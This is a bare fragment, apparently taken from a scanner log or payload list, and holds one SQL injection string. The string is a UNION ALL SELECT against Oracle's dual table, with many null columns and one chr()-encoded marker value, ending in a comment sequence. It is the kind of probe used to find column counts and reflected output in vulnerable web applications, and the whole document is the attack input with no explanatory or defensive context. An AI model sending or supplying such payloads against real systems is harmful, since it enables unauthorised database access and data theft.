s and 1=2 union all select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,chr(53)||chr(57)||chr(54)||chr(53)||chr(49),null,null,null,null,null from dual--